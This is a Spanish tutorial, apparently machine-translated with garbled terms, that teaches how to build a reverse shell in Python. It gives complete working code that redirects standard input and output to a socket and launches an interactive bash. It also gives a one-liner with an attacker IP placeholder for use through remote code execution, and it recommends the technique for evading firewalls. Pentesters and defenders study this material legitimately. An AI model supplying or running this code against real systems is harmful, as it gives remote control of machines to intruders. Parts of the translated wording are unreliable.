Codificando un caparazón inverso en Python en 10 líneas o menos

¿Codificar un shell inverso en Python en solo 10 líneas? Vayamos directo a eso. Los shells inversos son una parte integral de cualquier operación de Hacking/Pentesting. Ayuda en la evasión del firewall y nos permite ejecutar comandos en el sistema de destino remoto. En este módulo, vamos a aprender cómo crear un shell inverso en python en 10 líneas o menos.

Tabla de contenido

¿Qué es una carcasa inversa?

Esquema de una concha inversa

Un shell inverso es un programa que inicia una conexión desde la computadora de la víctima hacia un atacante que está escuchando en un puerto en el que se recibe la conexión. Luego de una conexión exitosa, luego suelta un shell remoto que nos permite ejecutar comandos en la máquina remota.

¿Por qué necesitamos esto?

Los proyectiles inversos son una parte importante del arsenal de cualquier pentester. Una vez que tenemos un shell en un sistema remoto, podemos ejecutar comandos, transferir datos y ¡mucho más! Además, es menos probable que un archivo más pequeño llame la atención y, como veremos, incluso podemos ponerlo todo en una sola línea. Es menos probable que los firewalls marquen un shell inverso, ya que la conexión la inicia la propia víctima y, por lo tanto, se trata como una conexión saliente normal.

Implementando un shell inverso en Python

                      
#!/usr/bin/python3
from os import dup2
from subprocess import run
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("127.0.0.1",8888)) 
dup2(s.fileno(),0) 
dup2(s.fileno(),1) 
dup2(s.fileno(),2) 
run(["/bin/bash","-i"])

                    

Comprender el código

Ahora, dividamos el código en partes más pequeñas para una mejor comprensión.

Línea 1: Shebang

                      
#!/usr/bin/python3

                    

Esta es una línea shebang que define la ruta del intérprete a usar. En nuestro caso, usaremos Python3 como nuestro intérprete para ejecutar nuestro programa. En caso de que su intérprete de python3 esté ubicado en otro lugar, asegúrese de reemplazarlo con la ruta completa del intérprete. Como alternativa, también puede escribir:

                      
#!/usr/bin/env python3

                    

Esta versión es más popular porque permite la portabilidad entre diferentes sistemas en caso de que tengan el intérprete de idiomas instalado en diferentes ubicaciones.

Línea 2-4: Importación de bibliotecas

                      
from os import dup2
import subprocess
import socket

                    

En las próximas líneas, importamos las bibliotecas y funciones que necesitaríamos para nuestro programa. Las bibliotecas importadas son todas bibliotecas estándar y no necesitan ninguna biblioteca adicional. pip instalación. Las bibliotecas y sus usos son:

  • os -> Solo importamos una función de esta biblioteca en particular: dup2 , que luego requeriríamos para copiar los descriptores de archivos.
  • subproceso -> Necesitaríamos esto para eliminar un shell remoto
  • socket -> Necesitaríamos esto para conectarnos al atacante remoto

Línea 5: Creando nuestro objeto de socket

                      
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

                    

Aquí, hemos creado una instancia de socket y le hemos pasado dos parámetros:

  • enchufe.AF_INET
  • socket.SOCK_STREAM

Estos dos parámetros se derivan directamente de sus contrapartes C. Así por definición:

  • enchufe.AF_INET significa que estaríamos usando la familia de direcciones IPv4
  • socket.SOCK_STREAM significa que estaríamos usando el protocolo TCP para la conexión

Línea 6: Conexión a host remoto

                      
s.connect(("127.0.0.1",8888))

                    

Aquí, nos estamos conectando a una IP remota en un puerto específico. Aquí, solo por el bien de la demostración, usaríamos nuestra IP local de 127.0.0.1 y en el puerto 8888. Sin embargo, puede cambiarlo a lo que quiera. Recuerde que la IP que ingrese aquí debe ser la IP que está escuchando el atacante.

Línea 7-9: Copiar los descriptores de archivo

                      
dup2(s.fileno(),0) 
dup2(s.fileno(),1) 
dup2(s.fileno(),2)

                    

Aquí tenemos un paso muy importante. Primero, familiaricémonos con las dos cosas importantes aquí:

  • s.fileno() : Esto devuelve el descriptor del archivo de socket.
  • dup2() : Importamos esta función de la biblioteca os y toma dos descriptores de archivo como argumentos. Hace que el segundo descriptor de archivo que se le pasa apunte al mismo descriptor de archivo abierto que el primero.

Así, en las líneas 7 a 9, mapeamos los descriptores de archivo para Entrada estándar (0), salida estándar (1) y estándar (2) hacia y desde el zócalo de una manera que se conserva para subprocesos es decir, cuando el código se ejecuta /bin/bash el shell hereda las redirecciones y se comunica con el usuario remoto a través del socket.

Línea 10: Llamando a nuestro shell interactivo

                      
run(["/bin/bash","-i"])

                    

Esto genera un shell interactivo que utiliza los descriptores de archivo que se le transmiten. Sin embargo, run() La función se agregó solo en Python 3.5 y si desea generar un shell inverso usando versiones anteriores, debe usar call()

Para usar call() primero necesitamos importarlo usando:

                      
from subprocess import call

                    

Luego, reemplace la última línea con:

                      
call(["/bin/bash","-i"])

                    

Ponerlo todo como una sola línea

                      
$ python3 -c 'import socket; from subprocess import run; from os import dup2;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING IP",PORT)); dup2(s.fileno(),0); dup2(s.fileno(),1); dup2(s.fileno(),2);run(["/bin/bash","-i"]);'

                    

Puede ejecutar el siguiente trazador de líneas para obtener un caparazón inverso. No olvide reemplazar la IP y el puerto correctos antes de ejecutarlo.

Además, recuerde iniciar un oyente en el puerto en el que planea capturar el shell. Para example, aquí hemos capturado un shell inverso de nuestro contenedor Debian en nuestro host Arch Linux. ¡Primero generamos un oyente en el puerto 8888 usando netcat y luego generamos un shell inverso en nuestro contenedor Debian con la IP de nuestra Arch Machine y el puerto especificado!

Demostración de nuestra carcasa inversa

Conclusión

Por lo tanto, aprendimos a crear un caparazón inverso simple en 10 líneas o menos en este módulo. También puede encontrar el delineador más útil en ciertas situaciones. Usando el one-liner puede obtener un caparazón a través de RCE. También puede codificar sus propios shells inversos avanzados con funcionalidades mucho más complicadas como esta !

Related Posts